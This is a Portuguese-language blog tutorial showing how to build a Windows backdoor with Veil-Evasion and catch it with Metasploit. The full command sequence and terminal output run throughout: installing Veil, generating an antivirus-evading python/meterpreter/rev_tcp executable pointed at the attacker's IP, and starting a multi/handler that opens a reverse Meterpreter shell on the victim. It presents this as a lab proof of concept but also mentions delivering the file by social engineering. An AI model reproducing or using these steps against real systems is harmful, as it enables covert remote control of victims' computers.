Usando o Veil Evasion para criação de um malware com backdoor em Windows

Share

Olá pessoal! No post de hoje iremos abordar uma prova de conceito com a criação de um backdoor para acesso persistente do atacante a um determinado sistema ou rede alvo, rodando Windows.

Nós iremos criar um artefato malicioso (malware) que fornecerá acesso ao atacante independente do vetor utilizado para exploração de vulnerabilidades. Para tal utilizaremos o Kali Linux e as ferramentas Veil Evasion e Metasploit Framework.

Montagem do cenário

Iremos utilizar duas máquinas virtuais, uma com Kali Linux (atacante) e uma com Windows 7 ou 10* (download aqui: https://www.baixaki.com.br/site/dwnld56364.htm) rodando no VirtualBox.

 

* Se seu Sistema Operacional nativo for Windows você poderá simular a máquina vítima nele, não havendo necessidade de criar uma máquina virtual com Windows somente para o teste.

Preparação das Ferramentas

Feita a instalação e configuração das máquinas virtuais, vamos a instalação do Veil Evasion no Kali. Abra um terminal e execute:

 

root@kali:~# wget https://codeload.github.com/Veil-Framework/Veil-Evasion/zip/master

…. Output omitted ….

2015-02-08 18:47:11 (85.9 KB/s) – `master’ saved [5490594/5490594]

root@kali:~# unzip master

…. Output omitted ….

root@kali:~# cd Veil-Evasion-master/setup

Feito isso, no passo abaixo você deverá aceitar os termos da ferramenta e proceder com a instalação:

 

root@kali:~/Veil-Evasion-master/setup# ./setup.sh
…. Output omitted ….
[*] Ensuring this account owns veil output directory…

Gerando o artefato malicioso

 

Vamos iniciar a ferramenta para proceder com a criação do nosso artefato malicioso contendo o backdoor:

root@kali:~/Veil-Evasion-master/setup# cd ..
root@kali:~/Veil-Evasion-master# ./Veil-Evasion.py

===================================================================

Veil-Evasion | [Version]: 2.16.0
===================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===================================================================

Main Menu


               39 payloads loaded



Available commands:

               use            use a specific payload

               info            information on a specific payload

               list list available payloads

               update       update Veil to the latest version

               clean          clean out payload folders

               checkvt       check payload hashes vs. VirusTotal

               exit exit Veil

Escolha a opção “list” para ver os payloads disponíveis no Veil:

[>] Please enter a command: list

 

 


===================================================================
Veil-Evasion | [Version]: 2.16.0
===================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===================================================================

[*] Available payloads:



               1) auxiliary/coldwar_wrapper

               2) auxiliary/pyinstaller_wrapper

               3) c/meterpreter/rev_http

               4) c/meterpreter/rev_http_service

               […omitido intencionalmente…]

            
               25) python/meterpreter/rev_https_contained

               26) python/meterpreter/rev_tcp

              […omitido intencionalmente…]

Iremos escolher a opção “26” – “python/meterpreter/rev_tcp” o qual nos dará um acesso através de um shell do tipo meterpreter na máquina vítima.

Note que o banco de dado de payloads do Veil se atualiza constantemente e o número do payload pode mudar dependendo da versão do BD. Para tal, certifique-se de escolher a opção “python/meterpreter/rev_tcp”.

[>] Please enter a command: use 26

===================================================================
Veil-Evasion | [Version]: 2.16.0
===================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===================================================================


Payload: python/meterpreter/rev_tcp loaded

Required Options:

Name                                   Current Value Description

—-                                        ————- ———–

LHOST                                  IP of the metasploit handler

LPORT                  4444 Port of the metasploit handler

compile_to_exe              Y Compile to an executable

expire_payload               X Optional: Payloads expire after “X” days

use_pyherion                   N Use the pyherion encrypter



Available commands:

               set set a specific option value

               info show information about the payload

               generate generate payload

               back go to the main menu

               exit exit Veil

[>] Please enter a command: set LHOST 192.168.0.14

[>] Please enter a command: generate

 

Feito isso precisaremos informar ao Veil o IP da nossa máquina atacante (LHOST) Kali e dar o comando “generate” para que o payload seja gerado. Após isso, escolha a opção “1” para utilizar o Pyinstaller para compilar o payload em um executável para Windows, conforme os passos abaixo:

===================================================================
Veil-Evasion | [Version]: 2.16.0
===================================================================[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===================================================================

[*] Press [enter] for ‘payload’

[>] Please enter the base name for output files: testPayload

[?] How would you like to create your payload executable?

    1 – Pyinstaller (default)

    2 – Pwnstaller (obfuscated Pyinstaller loader)

    3 – Py2Exe

[>] Please enter the number of your choice: 1

err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

130 INFO: wrote Z:\root\Veil-Evasion-master\testPayload.spec

176 INFO: Testing for ability to set icons, version resources…

[…omitido intencionalmente…]

4904 INFO: Warnings written to Z:\root\Veil-Evasion-master\build\pyi.win32\testPayload\warntestPayload.txt

4911 INFO: checking PYZ

4911 INFO: rebuilding out00-PYZ.toc because out00-PYZ.pyz is missing

4911 INFO: building PYZ out00-PYZ.toc

5546 INFO: checking PKG

5546 INFO: rebuilding out00-PKG.toc because out00-PKG.pkg is missing

5546 INFO: building PKG out00-PKG.pkg

6628 INFO: checking EXE

6628 INFO: rebuilding out00-EXE.toc because testPayload.exe missing

6628 INFO: building EXE from out00-EXE.toc

6633 INFO: Appending archive to EXE Z:\root\Veil-Evasion-master\dist\testPayload.exe

===================================================================
Veil-Evasion | [Version]: 2.16.0
===================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===================================================================
[*] Executable written to: /usr/share/veil-output/compiled/testPayload.exe

Language:                          python

Payload:                              python/meterpreter/rev_tcp

Required Options:      LHOST=192.168.0.14 LPORT=4444  compile_to_exe=Y

                       expire_payload=X use_pyherion=N

Payload File:                      /usr/share/veil-output/source/testPayload.py

Handler File:                      /usr/share/veil-output/handlers/testPayload_handler.rc
[*] Your payload files have been generated, don’t get caught!

[!] And don’t submit samples to any online scanner! ;)

Pronto, seu artefato malicioso já está pronto e salvo no diretório informado acima. Copie-o e salve na máquina Windows.

 

Usando o Metasploit para receber a conexão reversa com o artefato malicioso

 

Para receber a conexão reversa de nosso payload iremos utilizar o Metasploit Framework, uma suíte desenvolvida para automatização de exploração de vulnerabilidades, que dentre outras features, possui módulos que facilitam diversas tarefas de um pentest.

Abra outro terminal e execute:

root@kali:~/# service postgresql start

 

root@kali:~/# msfconsole

 

Feito isso será aberto o console do Metasploit. Utilize os comandos abaixo para abertura da conexão reversa. Note que no campo LHOST deverá ser colocado o IP da máquina atacante (Kali) que será a máquina que receberá a conexão:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.0.14

LHOST => 192.168.0.14

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > set ExitOnSession false

ExitOnSession => false

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

 

Pronto! Neste ponto sua máquina atacante Kali estará esperando para receber a conexão com a vítima. Vá até a máquina Windows e execute o arquivo gerado pelo Veil Evasion e aguarde até o shell reverso ser aberto na máquina Kali, conforme demonstrado abaixo:

 

[*] Started reverse handler on 192.168.0.14:4444

[*] Starting the payload handler…

msf exploit(handler) > [*] Sending stage (769536 bytes) to 192.168.0.30

[*] Meterpreter session 1 opened (192.168.0.14:4444 -> 192.168.0.30:1045) at 2015-02-14 10:30:28 +0000



msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1…

Meterpreter>

 

À partir de agora você tem acesso via shell meterpreter a máquina vítima.

Note que este tutorial explica a prova de conceito da criação de um malware com backdoor para Windows, porém este mesmo malware poderia ser enviado para vítima através de diversos vetores, como engenharia social por exemplo.

 

Este post abordou uma prova de conceito de forma didática  e qualquer uso deste conhecimento para fins ilegais são de responsabilidade do leitor.

 

 

Quer continuar por dentro das novidades do Blog Seja Livre? Siga o nosso perfil no TWITTER, curta a nossa página no FACEBOOK ou adicione o Blog Seja Livre nos seus círculos do GOOGLE+.